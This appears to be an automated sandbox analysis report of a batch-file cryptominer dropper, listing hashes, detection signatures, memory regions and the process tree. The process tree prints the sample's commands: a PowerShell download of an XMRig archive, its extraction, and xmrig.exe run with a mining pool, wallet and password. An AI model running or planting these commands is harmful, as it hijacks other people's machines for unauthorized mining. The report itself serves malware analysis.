Analysis

  • max time kernel
    1793s
  • max time network
    1799s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23/12/2023, 23:02

General

  • Target

    tesy - Copy (7).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1932
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4460
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:368
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1084

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          56efdb5a0f10b5eece165de4f8c9d799

          SHA1

          fa5de7ca343b018c3bfeab692545eb544c244e16

          SHA256

          6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

          SHA512

          91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

        • memory/368-89-0x0000018B39470000-0x0000018B3947A000-memory.dmp

          Filesize

          40KB

        • memory/368-38-0x0000018B210C0000-0x0000018B210D0000-memory.dmp

          Filesize

          64KB

        • memory/368-37-0x0000018B210C0000-0x0000018B210D0000-memory.dmp

          Filesize

          64KB

        • memory/368-36-0x00007FF9CD0B0000-0x00007FF9CDA9C000-memory.dmp

          Filesize

          9.9MB

        • memory/368-62-0x0000018B210C0000-0x0000018B210D0000-memory.dmp

          Filesize

          64KB

        • memory/368-113-0x00007FF9CD0B0000-0x00007FF9CDA9C000-memory.dmp

          Filesize

          9.9MB

        • memory/368-76-0x0000018B39700000-0x0000018B39712000-memory.dmp

          Filesize

          72KB

        • memory/1084-144-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-157-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-184-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-183-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-182-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-181-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-116-0x000001B1C5810000-0x000001B1C5830000-memory.dmp

          Filesize

          128KB

        • memory/1084-117-0x000001B1C5960000-0x000001B1C5980000-memory.dmp

          Filesize

          128KB

        • memory/1084-118-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-121-0x000001B1C59A0000-0x000001B1C59C0000-memory.dmp

          Filesize

          128KB

        • memory/1084-120-0x000001B1C5980000-0x000001B1C59A0000-memory.dmp

          Filesize

          128KB

        • memory/1084-119-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-146-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-123-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-125-0x000001B1C59A0000-0x000001B1C59C0000-memory.dmp

          Filesize

          128KB

        • memory/1084-124-0x000001B1C5980000-0x000001B1C59A0000-memory.dmp

          Filesize

          128KB

        • memory/1084-126-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-127-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-128-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-129-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-130-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-131-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-132-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-133-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-134-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-135-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-136-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-137-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-138-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-139-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-140-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-141-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-142-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-143-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-180-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-145-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-122-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-179-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-162-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-149-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-150-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-151-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-152-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-153-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-154-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-155-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-156-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-147-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-158-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-159-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-160-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-161-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-148-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-163-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-164-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-165-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-166-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-167-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-168-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-169-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-170-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-171-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-172-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-173-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-174-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-175-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-176-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-177-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1084-178-0x00007FF740B40000-0x00007FF741643000-memory.dmp

          Filesize

          11.0MB

        • memory/1932-25-0x0000026C28150000-0x0000026C28160000-memory.dmp

          Filesize

          64KB

        • memory/1932-4-0x0000026C28100000-0x0000026C28122000-memory.dmp

          Filesize

          136KB

        • memory/1932-6-0x0000026C28150000-0x0000026C28160000-memory.dmp

          Filesize

          64KB

        • memory/1932-10-0x0000026C282E0000-0x0000026C28356000-memory.dmp

          Filesize

          472KB

        • memory/1932-7-0x0000026C28150000-0x0000026C28160000-memory.dmp

          Filesize

          64KB

        • memory/1932-5-0x00007FF9CD0B0000-0x00007FF9CDA9C000-memory.dmp

          Filesize

          9.9MB

        • memory/1932-30-0x00007FF9CD0B0000-0x00007FF9CDA9C000-memory.dmp

          Filesize

          9.9MB